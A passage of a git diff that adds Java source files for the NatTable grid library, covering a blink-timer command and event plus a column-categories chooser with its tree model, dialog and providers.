isUpdated(String key) { + return updateEvents.containsKey(key); + } + + public void clear() { + updateEvents.clear(); + checkUpdateEvents(); + } + + public void remove(String key) { + updateEvents.remove(key); + checkUpdateEvents(); + } + + /** + * Class to keep track of the time when an event was received + */ + private class TimeStampedEvent { + Date timeRecieved; + PropertyUpdateEvent event; + + public TimeStampedEvent(PropertyUpdateEvent event) { + this.event = event; + this.timeRecieved = new Date(); + } + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/command/BlinkTimerEnableCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/command/BlinkTimerEnableCommand.java new file mode 100644 index 0000000..e1a5049 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/command/BlinkTimerEnableCommand.java @@ -0,0 +1,20 @@ +package net.sourceforge.nattable.blink.command; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class BlinkTimerEnableCommand extends AbstractContextFreeCommand { + + private boolean enableBlinkTimer; + + public BlinkTimerEnableCommand(boolean enableBlinkTimer) { + this.enableBlinkTimer = enableBlinkTimer; + } + + public boolean isEnableBlinkTimer() { + return enableBlinkTimer; + } + + public void setEnableBlinkTimer(boolean enableBlinkTimer) { + this.enableBlinkTimer = enableBlinkTimer; + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/command/BlinkTimerEnableCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/command/BlinkTimerEnableCommandHandler.java new file mode 100644 index 0000000..7cc140a --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/command/BlinkTimerEnableCommandHandler.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.blink.command; + +import net.sourceforge.nattable.blink.BlinkLayer; +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; + +public class BlinkTimerEnableCommandHandler extends AbstractLayerCommandHandler { + + private final BlinkLayer blinkLayer; + + public BlinkTimerEnableCommandHandler(BlinkLayer blinkLayer) { + this.blinkLayer = blinkLayer; + } + + public Class getCommandClass() { + return BlinkTimerEnableCommand.class; + } + + @Override + protected boolean doCommand(BlinkTimerEnableCommand command) { + blinkLayer.setBlinkingEnabled(command.isEnableBlinkTimer()); + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/event/BlinkEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/event/BlinkEvent.java new file mode 100644 index 0000000..b8a75a0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/blink/event/BlinkEvent.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.blink.event; + +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IVisualChangeEvent; + +import org.eclipse.swt.graphics.Rectangle; + +public class BlinkEvent implements IVisualChangeEvent { + + private ILayer layer; + + public BlinkEvent(ILayer layer) { + this.layer = layer; + } + + public ILayerEvent cloneEvent() { + return new BlinkEvent(this.layer); + } + + public Collection getChangedPositionRectangles() { + return Arrays.asList(new Rectangle(0, 0, layer.getHeight(), layer.getWidth())); + } + + public ILayer getLayer() { + return layer; + } + + public boolean convertToLocal(ILayer localLayer) { + return true; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ChooseColumnsFromCategoriesCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ChooseColumnsFromCategoriesCommand.java new file mode 100644 index 0000000..fa99743 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ChooseColumnsFromCategoriesCommand.java @@ -0,0 +1,24 @@ +package net.sourceforge.nattable.columnCategories; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +import org.eclipse.swt.widgets.Shell; + +public class ChooseColumnsFromCategoriesCommand extends AbstractContextFreeCommand { + + private final NatTable natTable; + + public ChooseColumnsFromCategoriesCommand(NatTable natTable) { + this.natTable = natTable; + } + + public NatTable getNatTable() { + return natTable; + } + + public Shell getShell() { + return natTable.getShell(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ChooseColumnsFromCategoriesCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ChooseColumnsFromCategoriesCommandHandler.java new file mode 100644 index 0000000..186b045 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ChooseColumnsFromCategoriesCommandHandler.java @@ -0,0 +1,134 @@ +package net.sourceforge.nattable.columnCategories; + +import static net.sourceforge.nattable.columnChooser.ColumnChooserUtils.getHiddenColumnEntries; +import static net.sourceforge.nattable.columnChooser.ColumnChooserUtils.getVisibleColumnsEntries; +import static net.sourceforge.nattable.util.ObjectUtils.isNotNull; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.columnCategories.gui.ColumnCategoriesDialog; +import net.sourceforge.nattable.columnChooser.ColumnChooserUtils; +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.command.ILayerCommand; +import net.sourceforge.nattable.coordinate.PositionUtil; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.reorder.command.ColumnReorderCommand; +import net.sourceforge.nattable.reorder.command.MultiColumnReorderCommand; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.util.ObjectUtils; + +public class ChooseColumnsFromCategoriesCommandHandler + extends AbstractLayerCommandHandler + implements IColumnCategoriesDialogListener { + + private final ColumnHideShowLayer columnHideShowLayer; + private final ColumnHeaderLayer columnHeaderLayer; + private final DataLayer columnHeaderDataLayer; + private final ColumnCategoriesModel model; + private ColumnCategoriesDialog dialog; + + public ChooseColumnsFromCategoriesCommandHandler( + ColumnHideShowLayer columnHideShowLayer, + ColumnHeaderLayer columnHeaderLayer, + DataLayer columnHeaderDataLayer, + ColumnCategoriesModel model) { + super(); + this.columnHideShowLayer = columnHideShowLayer; + this.columnHeaderLayer = columnHeaderLayer; + this.columnHeaderDataLayer = columnHeaderDataLayer; + this.model = model; + } + + @Override + protected boolean doCommand(ChooseColumnsFromCategoriesCommand command) { + dialog = new ColumnCategoriesDialog( + command.getShell(), + model, + getHiddenColumnEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer), + getVisibleColumnsEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer)); + + dialog.addListener(this); + dialog.open(); + return true; + } + + public Class getCommandClass() { + return ChooseColumnsFromCategoriesCommand.class; + } + + // Listen and respond to the dialog events + + public void itemsRemoved(List removedColumnPositions) { + ColumnChooserUtils.hideColumnPositions(removedColumnPositions, columnHideShowLayer); + refreshDialog(); + } + + public void itemsSelected(List addedColumnIndexes) { + ColumnChooserUtils.showColumnIndexes(addedColumnIndexes, columnHideShowLayer); + refreshDialog(); + } + + /** + * Moves the columns up or down by firing commands on the dialog.
    + * + * Individual columns are moved using the {@link ColumnReorderCommand}
    + * Contiguously selected columns are moved using the {@link MultiColumnReorderCommand}
    + */ + public void itemsMoved(MoveDirectionEnum direction, List selectedPositions) { + List> fromPositions = PositionUtil.getGroupedByContiguous(selectedPositions); + List toPositions = getDestinationPositions(direction, fromPositions); + + for (int i = 0; i < fromPositions.size(); i++) { + boolean multipleColumnsMoved = fromPositions.get(i).size() > 1; + + ILayerCommand command = null; + if (!multipleColumnsMoved) { + int fromPosition = fromPositions.get(i).get(0).intValue(); + int toPosition = toPositions.get(i); + command = new ColumnReorderCommand(columnHideShowLayer, fromPosition, toPosition); + } else if(multipleColumnsMoved){ + command = new MultiColumnReorderCommand(columnHideShowLayer, fromPositions.get(i), toPositions.get(i)); + } + columnHideShowLayer.doCommand(command); + } + + refreshDialog(); + } + + /** + * Calculates the destination positions taking into account the move direction + * and single/contiguous selection. + * + * @param selectedPositions grouped together if they are contiguous. + * Example: if 2,3,4, 9, 12 are selected, they are grouped as [[2, 3, 4], 9, 12] + * While moving up the destination position for [2, 3, 4] is 1 + * While moving up the destination position for [2, 3, 4] is 6 + */ + protected List getDestinationPositions(MoveDirectionEnum direction, List> selectedPositions) { + List destinationPositions = new ArrayList(); + for (List contiguousPositions : selectedPositions) { + switch (direction) { + case UP: + destinationPositions.add(ObjectUtils.getFirstElement(contiguousPositions) - 1); + break; + case DOWN: + destinationPositions.add(ObjectUtils.getLastElement(contiguousPositions) + 2); + default: + break; + } + } + return destinationPositions; + } + + private void refreshDialog() { + if (isNotNull(dialog)) { + dialog.refresh( + ColumnChooserUtils.getHiddenColumnEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer), + ColumnChooserUtils.getVisibleColumnsEntries(columnHideShowLayer, columnHeaderLayer, columnHeaderDataLayer)); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ColumnCategoriesModel.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ColumnCategoriesModel.java new file mode 100644 index 0000000..527348b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/ColumnCategoriesModel.java @@ -0,0 +1,65 @@ +package net.sourceforge.nattable.columnCategories; + +import static net.sourceforge.nattable.util.ObjectUtils.isNotNull; + +import java.io.Serializable; + +import net.sourceforge.nattable.columnCategories.Node.Type; + +public class ColumnCategoriesModel implements Serializable { + + private static final long serialVersionUID = 4550L; + + /** Tree of the column category names */ + private final Tree tree = new Tree(); + + public Node addRootCategory(String rootCategoryName) { + if(isNotNull(tree.getRootElement())){ + throw new IllegalStateException("Root has been set already. Clear using (clear()) to reset."); + } + Node root = new Node(rootCategoryName, Type.ROOT); + tree.setRootElement(root); + return root; + } + + public Node addCategory(Node parentCategory, String newCategoryName){ + if(tree.getRootElement() == null){ + throw new IllegalStateException("Root node must be set (using addRootNode()) before children can be added"); + } + Node newNode = new Node(newCategoryName, Node.Type.CATEGORY); + parentCategory.addChild(newNode); + return newNode; + } + + public void addColumnsToCategory(Node parentCategory, int... columnIndexes){ + if(parentCategory.getType() != Type.CATEGORY){ + throw new IllegalStateException("Columns can be added to a category node only."); + } + + for (Integer columnIndex : columnIndexes) { + parentCategory.addChild(new Node(String.valueOf(columnIndex), Type.COLUMN)); + } + } + + public void removeColumnIndex(Integer hiddenColumnIndex) { + tree.remove(String.valueOf(hiddenColumnIndex)); + } + + public Node getRootCategory() { + return tree.getRootElement(); + } + + @Override + public String toString() { + return tree.toString(); + } + + public void dispose() { + tree.clear(); + } + + public void clear() { + tree.clear(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/IColumnCategoriesDialogListener.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/IColumnCategoriesDialogListener.java new file mode 100644 index 0000000..2fd6eb7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/IColumnCategoriesDialogListener.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.columnCategories; + +import java.util.List; + +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; + +public interface IColumnCategoriesDialogListener { + + void itemsSelected(List addedColumnIndexes); + + void itemsRemoved(List removedColumnPositions); + + void itemsMoved(MoveDirectionEnum direction, List selectedPositions); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/Node.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/Node.java new file mode 100644 index 0000000..03871c6 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/Node.java @@ -0,0 +1,144 @@ +package net.sourceforge.nattable.columnCategories; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; + +/** + * Represents a node of the Tree class. + */ +public class Node implements Serializable { + + private static final long serialVersionUID = 7855L; + + public static enum Type {ROOT, COLUMN, CATEGORY, UNKNOWN}; + private Type type; + private String data; + private List children; + private Node parent; + + public Node(String data) { + this(data, Type.UNKNOWN); + } + + public Node(String newCategoryName, Type type) { + setData(newCategoryName); + setType(type); + } + + public Node getParent() { + return parent; + } + + public void setParent(Node parent) { + this.parent = parent; + } + + public void setType(Type type) { + this.type = type; + } + + public Type getType() { + return type; + } + + /** + * Return the children of Node. The Tree is represented by a single + * root Node whose children are represented by a List. Each of + * these Node elements in the List can have children. The getChildren() + * method will return the children of a Node. + * @return the children of Node + */ + public List getChildren() { + if (this.children == null) { + return new ArrayList(); + } + return this.children; + } + + /** + * Returns the number of immediate children of this Node. + * @return the number of immediate children. + */ + public int getNumberOfChildren() { + if (children == null) { + return 0; + } + return children.size(); + } + + /** + * Adds a child to the list of children for this Node. The addition of + * the first child will create a new List. + * @param child a Node object to set. + * @return Child node just added + */ + public Node addChild(Node child) { + if (children == null) { + children = new ArrayList(); + } + children.add(child); + child.setParent(this); + return child; + } + + public Node addChildCategory(String categoryName) { + return addChild(new Node(categoryName, Type.CATEGORY)); + } + + public void addChildColumnIndexes(int... columnIndexes) { + for (int columnIndex : columnIndexes) { + addChild(new Node(String.valueOf(columnIndex), Type.COLUMN)); + } + } + + /** + * Inserts a Node at the specified position in the child list. Will * throw an ArrayIndexOutOfBoundsException if the index does not exist. + * @param index the position to insert at. + * @param child the Node object to insert. + * @throws IndexOutOfBoundsException if thrown. + */ + public void insertChildAt(int index, Node child) throws IndexOutOfBoundsException { + if (index == getNumberOfChildren()) { + // this is really an append + addChild(child); + return; + } else { + children.get(index); //just to throw the exception, and stop here + children.add(index, child); + } + } + + /** + * Remove the Node element at index index of the List. + * @param index the index of the element to delete. + * @throws IndexOutOfBoundsException if thrown. + */ + public void removeChildAt(int index) throws IndexOutOfBoundsException { + children.remove(index); + } + + public String getData() { + return this.data; + } + + public void setData(String data) { + this.data = data; + } + + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append("{").append(type).append(",").append(getData().toString()).append(",["); + int i = 0; + for (Node e : getChildren()) { + if (i > 0) { + sb.append(","); + } + sb.append(e.getData().toString()); + i++; + } + sb.append("]").append("}"); + return sb.toString(); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/Tree.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/Tree.java new file mode 100644 index 0000000..5541baf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/Tree.java @@ -0,0 +1,125 @@ +package net.sourceforge.nattable.columnCategories; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.util.ObjectUtils; + +/** + * Represents a Tree of Objects.
    + * The Tree is represented as a single rootElement which points to a List of children.
    + * + * Adapted from public domain code at http://sujitpal.blogspot.com/. + */ +public class Tree implements Serializable { + + private static final long serialVersionUID = 6182L; + private Node rootElement; + + /** + * Default ctor. + */ + public Tree() { + super(); + } + + /** + * Return the root Node of the tree. + * @return the root element. + */ + public Node getRootElement() { + return this.rootElement; + } + + /** + * Set the root Element for the tree. + * @param rootElement the root element to set. + */ + public void setRootElement(Node rootElement) { + this.rootElement = rootElement; + } + + /** + * Returns the Tree as a List of Node objects. The elements of the + * List are generated from a pre-order traversal of the tree. + * @return a List. + */ + public List toList() { + List list = new ArrayList(); + walk(rootElement, list); + return list; + } + + /** + * Returns a String representation of the Tree. The elements are generated + * from a pre-order traversal of the Tree. + * @return the String representation of the Tree. + */ + @Override + public String toString() { + return toList().toString(); + } + + /** + * Walks the Tree in pre-order style. This is a recursive method, and is + * called from the toList() method with the root element as the first + * argument. It appends to the second argument, which is passed by reference + * as it recurses down the tree. + * @param element the starting element. + * @param list the output of the walk. + */ + private void walk(Node element, List list) { + list.add(element); + for (Node data : element.getChildren()) { + walk(data, list); + } + } + + /** + * Find the Node in the tree containing the supplied data. + * Stops searching at the first match. + * @return matching Node if found, NULL otherwise + */ + public Node find(String nodeData) { + return find(getRootElement(), nodeData); + } + + /** + * Find a Node in a tree, containing the given data + * + * @param element Node to start searching at + * @param nodeData to search for + * @return matching Node if found, NULL otherwise + */ + public Node find(Node element, String nodeData) { + if (nodeData.equals(element.getData())) { + return element; + } + for (Node data : element.getChildren()) { + Node result = find(data, nodeData); + if (result != null) { + return result; + } + } + return null; + } + + public void clear() { + rootElement = null; + } + + /** + * Removes the node with the supplied node data. Deletes the first matching node. + * @return TRUE if a node was found and removed + */ + public boolean remove(String nodeData) { + Node nodeToRemove = find(nodeData); + if (ObjectUtils.isNotNull(nodeToRemove)) { + nodeToRemove.getParent().getChildren().remove(nodeToRemove); + nodeToRemove.setParent(null); + return true; + } + return false; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/AvailableColumnCategoriesProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/AvailableColumnCategoriesProvider.java new file mode 100644 index 0000000..3219336 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/AvailableColumnCategoriesProvider.java @@ -0,0 +1,66 @@ +package net.sourceforge.nattable.columnCategories.gui; + +import static net.sourceforge.nattable.util.ObjectUtils.isNull; + +import java.util.List; + +import net.sourceforge.nattable.columnCategories.ColumnCategoriesModel; +import net.sourceforge.nattable.columnCategories.Node; +import net.sourceforge.nattable.columnChooser.ColumnEntry; +import net.sourceforge.nattable.util.ObjectCloner; + +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.Viewer; + +/** + * Provides data to the tree viewer representation of Column categories.
    + * Data is in the form of {@link Node} objects exposed from the {@link ColumnCategoriesModel}
    + */ +public class AvailableColumnCategoriesProvider implements ITreeContentProvider { + + private final ColumnCategoriesModel model; + + public AvailableColumnCategoriesProvider(ColumnCategoriesModel model) { + this.model = (ColumnCategoriesModel) ObjectCloner.deepCopy(model); + } + + /** + * Hide the given {@link ColumnEntry} (ies) i.e. do not show them in the viewer. + */ + public void hideEntries(List entriesToHide) { + for (ColumnEntry hiddenColumnEntry : entriesToHide) { + model.removeColumnIndex(hiddenColumnEntry.getIndex()); + } + } + + public Object[] getChildren(Object parentElement) { + return castToNode(parentElement).getChildren().toArray(); + } + + public Object getParent(Object element) { + return castToNode(element).getParent(); + } + + public boolean hasChildren(Object element) { + return castToNode(element).getNumberOfChildren() > 0; + } + + public Object[] getElements(Object inputElement) { + return isNull(model.getRootCategory()) + ? new Object[]{} + : model.getRootCategory().getChildren().toArray(); + } + + private Node castToNode(Object element) { + return (Node) element; + } + + public void dispose() { + // No op. + } + + public void inputChanged(Viewer viewer, Object oldInput, Object newInput) { + // No op. + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/ColumnCategoriesDialog.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/ColumnCategoriesDialog.java new file mode 100644 index 0000000..5da8f69 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/ColumnCategoriesDialog.java @@ -0,0 +1,318 @@ +package net.sourceforge.nattable.columnCategories.gui; + +import static net.sourceforge.nattable.columnChooser.ColumnChooserUtils.getColumnEntryPositions; +import static net.sourceforge.nattable.util.ObjectUtils.isNotEmpty; + +import java.util.ArrayList; +import java.util.List; + +import net.sourceforge.nattable.columnCategories.ColumnCategoriesModel; +import net.sourceforge.nattable.columnCategories.IColumnCategoriesDialogListener; +import net.sourceforge.nattable.columnCategories.Node; +import net.sourceforge.nattable.columnCategories.Node.Type; +import net.sourceforge.nattable.columnChooser.ColumnEntry; +import net.sourceforge.nattable.columnChooser.gui.AbstractColumnChooserDialog; +import net.sourceforge.nattable.selection.SelectionLayer.MoveDirectionEnum; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ListViewer; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TreeSelection; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.KeyAdapter; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; + +/** + * JFace/SWT based column chooser dialog which displays the available/hidden + * columns in a tree viewer. This tree viewer is based on the {@link ColumnCategoriesModel}. + */ +public class ColumnCategoriesDialog extends AbstractColumnChooserDialog { + + private final ColumnCategoriesModel model; + private List hiddenColumnEntries; + private List visibleColumnsEntries; + private TreeViewer treeViewer; + private ListViewer listViewer; + private ISelection lastListSelection; + + public ColumnCategoriesDialog(Shell shell, + ColumnCategoriesModel model, + List hiddenColumnEntries, + List visibleColumnsEntries) { + super(shell); + this.model = model; + this.hiddenColumnEntries = hiddenColumnEntries; + this.visibleColumnsEntries = visibleColumnsEntries; + setShellStyle(SWT.CLOSE | SWT.TITLE | SWT.BORDER | SWT.APPLICATION_MODAL | SWT.RESIZE); + } + + @Override + public void populateDialogArea(Composite parent) { + GridDataFactory.fillDefaults().grab(true, true).applyTo(parent); + parent.setLayout(new GridLayout(4, false)); + + // Labels + createLabels(parent, "Available columns", "Selected columns"); + GridData gridData = GridDataFactory.fillDefaults().grab(true, true).create(); + + // Left tree - column categories + treeViewer = new TreeViewer(parent); + + populateAvailableTree(); + treeViewer.getControl().setLayoutData(gridData); + + // Add/remove buttons + Composite buttonComposite = new Composite(parent, SWT.NONE); + buttonComposite.setLayout(new GridLayout(1, true)); + createAddButton(buttonComposite); + createRemoveButton(buttonComposite); + addListenersToTreeViewer(); + + // Right list - selected columns + listViewer = new ListViewer(parent, SWT.MULTI | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL); + populateSelectedList(); + addListenersToListViewer(); + + // Up/down buttons + Composite upDownbuttonComposite = new Composite(parent, SWT.NONE); + upDownbuttonComposite.setLayout(new GridLayout(1, true)); + createUpButton(upDownbuttonComposite); + createDownButton(upDownbuttonComposite); + } + + private void populateSelectedList() { + VisibleColumnsProvider listProvider = new VisibleColumnsProvider(visibleColumnsEntries); + listViewer.setContentProvider(listProvider); + listViewer.setLabelProvider(listProvider); + listViewer.setInput(listProvider); + + listViewer.setContentProvider(listProvider); + listViewer.getControl().setLayoutData(GridDataFactory.fillDefaults().grab(true, true).create()); + } + + private void addListenersToTreeViewer() { + treeViewer.getControl().addMouseListener(new MouseAdapter() { + @Override + public void mouseDoubleClick(MouseEvent e) { + addSelected(); + } + }); + } + + private void addListenersToListViewer() { + listViewer.getControl().addMouseListener(new MouseAdapter() { + @Override + public void mouseDoubleClick(MouseEvent e) { + removeSelected(); + } + }); + + listViewer.getControl().addKeyListener(new KeyAdapter() { + @Override + public void keyPressed(KeyEvent e) { + boolean controlMask = (e.stateMask & SWT.CONTROL) == SWT.CONTROL; + if (controlMask && e.keyCode == SWT.ARROW_UP) { + moveSelectedUp(); + e.doit = false; + } else if (controlMask && e.keyCode == SWT.ARROW_DOWN) { + moveSelectedDown(); + e.doit = false; + } + } + + @Override + public void keyReleased(KeyEvent e) { + if (e.character == ' ') + removeSelected(); + } + }); + } + + private void populateAvailableTree() { + AvailableColumnCategoriesProvider provider = new AvailableColumnCategoriesProvider(model); + provider.hideEntries(visibleColumnsEntries); + + treeViewer.setContentProvider(provider); + treeViewer.setLabelProvider(new ColumnCategoriesLabelProvider(hiddenColumnEntries)); + treeViewer.setInput(provider); + } + + private Button createDownButton(Composite upDownbuttonComposite) { + Button downButton = new Button(upDownbuttonComposite, SWT.PUSH); + downButton.setImage(GUIHelper.getImage("arrow_down")); + downButton.setLayoutData(GridDataFactory.fillDefaults().grab(false, true).align(SWT.CENTER, SWT.CENTER).create()); + downButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + moveSelectedDown(); + } + }); + return downButton; + } + + private Button createUpButton(Composite upDownbuttonComposite) { + Button upButton = new Button(upDownbuttonComposite, SWT.PUSH); + upButton.setImage(GUIHelper.getImage("arrow_up")); + upButton.setLayoutData(GridDataFactory.fillDefaults().grab(false, true).align(SWT.CENTER, SWT.CENTER).create()); + upButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + moveSelectedUp(); + } + + }); + return upButton; + } + + private Button createRemoveButton(Composite buttonComposite) { + Button removeButton = new Button(buttonComposite, SWT.PUSH); + removeButton.setImage(GUIHelper.getImage("arrow_left")); + removeButton.setLayoutData(GridDataFactory.fillDefaults().grab(false, true).align(SWT.CENTER, SWT.CENTER).create()); + removeButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + removeSelected(); + } + }); + return removeButton; + } + + private Button createAddButton(Composite buttonComposite) { + Button addButton = new Button(buttonComposite, SWT.PUSH); + addButton.setImage(GUIHelper.getImage("arrow_right")); + addButton.setLayoutData(GridDataFactory.fillDefaults().grab(false, true).align(SWT.CENTER, SWT.CENTER).create()); + addButton.addSelectionListener(new SelectionListener() { + + public void widgetDefaultSelected(SelectionEvent e) { + widgetSelected(e); + } + + public void widgetSelected(SelectionEvent e) { + addSelected(); + } + + }); + return addButton; + } + + // Respond to button clicks / user actions + + protected void removeSelected() { + fireItemsRemoved(getColumnPositionsFromListViewer()); + } + + protected void addSelected() { + fireItemsSelected(getColumnIndexesFromTreeNodes()); + } + + protected final void fireItemsSelected(List addedColumnIndexes) { + if (isNotEmpty(addedColumnIndexes)) { + for (Object listener : listeners.getListeners()) { + ((IColumnCategoriesDialogListener) listener).itemsSelected(addedColumnIndexes); + } + } + } + + protected final void fireItemsRemoved(List removedColumnPositions) { + if (isNotEmpty(removedColumnPositions)) { + for (Object listener : listeners.getListeners()) { + ((IColumnCategoriesDialogListener) listener).itemsRemoved(removedColumnPositions); + } + } + } + + protected final void fireItemsMoved(MoveDirectionEnum direction, List toPositions) { + for (Object listener : listeners.getListeners()) { + ((IColumnCategoriesDialogListener) listener).itemsMoved(direction, toPositions); + } + } + + protected void moveSelectedUp() { + List selectedPositions = getColumnEntryPositions(getSelectedColumnEntriesFromListViewer()); + + // First position selected + if(!selectedPositions.contains(0)){ + fireItemsMoved(MoveDirectionEnum.UP, selectedPositions); + } + } + + protected void moveSelectedDown() { + List selectedPositions = getColumnEntryPositions(getSelectedColumnEntriesFromListViewer()); + + // Last position selected + if(!selectedPositions.contains(visibleColumnsEntries.size())){ + fireItemsMoved(MoveDirectionEnum.DOWN, selectedPositions); + } + } + + /** + * @return selected column position(s) from the list viewer + */ + private List getColumnPositionsFromListViewer() { + return getColumnEntryPositions(getSelectedColumnEntriesFromListViewer()); + } + + private List getSelectedColumnEntriesFromListViewer() { + lastListSelection = listViewer.getSelection(); + Object[] objects = ((StructuredSelection) lastListSelection).toArray(); + List entries = new ArrayList(); + + for (Object object : objects) { + entries.add((ColumnEntry) object); + } + return entries; + } + + + /** + * @return selected columns index(s) from the tree viewer + */ + private List getColumnIndexesFromTreeNodes() { + Object[] nodes = ((TreeSelection)treeViewer.getSelection()).toArray(); + + List indexes = new ArrayList(); + for (Object object : nodes) { + Node node = (Node) object; + if(Type.COLUMN == node.getType()){ + indexes.add(Integer.parseInt(node.getData())); + } + } + return indexes; + } + + + public void refresh(List hiddenColumnEntries, List visibleColumnsEntries) { + this.hiddenColumnEntries = hiddenColumnEntries; + this.visibleColumnsEntries = visibleColumnsEntries; + populateAvailableTree(); + populateSelectedList(); + if(ObjectUtils.isNotNull(lastListSelection)){ + listViewer.setSelection(lastListSelection); + } + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/ColumnCategoriesLabelProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/ColumnCategoriesLabelProvider.java new file mode 100644 index 0000000..734eff0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/columnCategories/gui/ColumnCategoriesLabelProvider.java @@ -0,0 +1,41 @@ +package net.sourceforge.nattable.columnCategories.gui; + +import java.util.List; + +import net.sourceforge.nattable.columnCategories.Node; +import net.sourceforge.nattable.columnChooser.ColumnChooserUtils; +import net.sourceforge.nattable.columnChooser.ColumnEntry; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.eclipse.jface.viewers.LabelProvider; + +public class ColumnCategoriesLabelProvider extends LabelProvider { + + List hiddenEntries; + + public ColumnCategoriesLabelProvider(List hiddenEntries) { + this.hiddenEntries = hiddenEntries; + } + + @Override + public String getText(Object element) { + Node node = (Node) element; + switch (node.getType()) { + case CATEGORY: + return node.getData(); + case COLUMN: + int index = Integer.parseInt(node.getData()); + ColumnEntry columnEntry = ColumnChooserUtils.find(hiddenEntries, index); + if(ObjectUtils.isNull(columnEntry)){ + System.err.println( + "Column index " + index + " is present " + + "in the Column 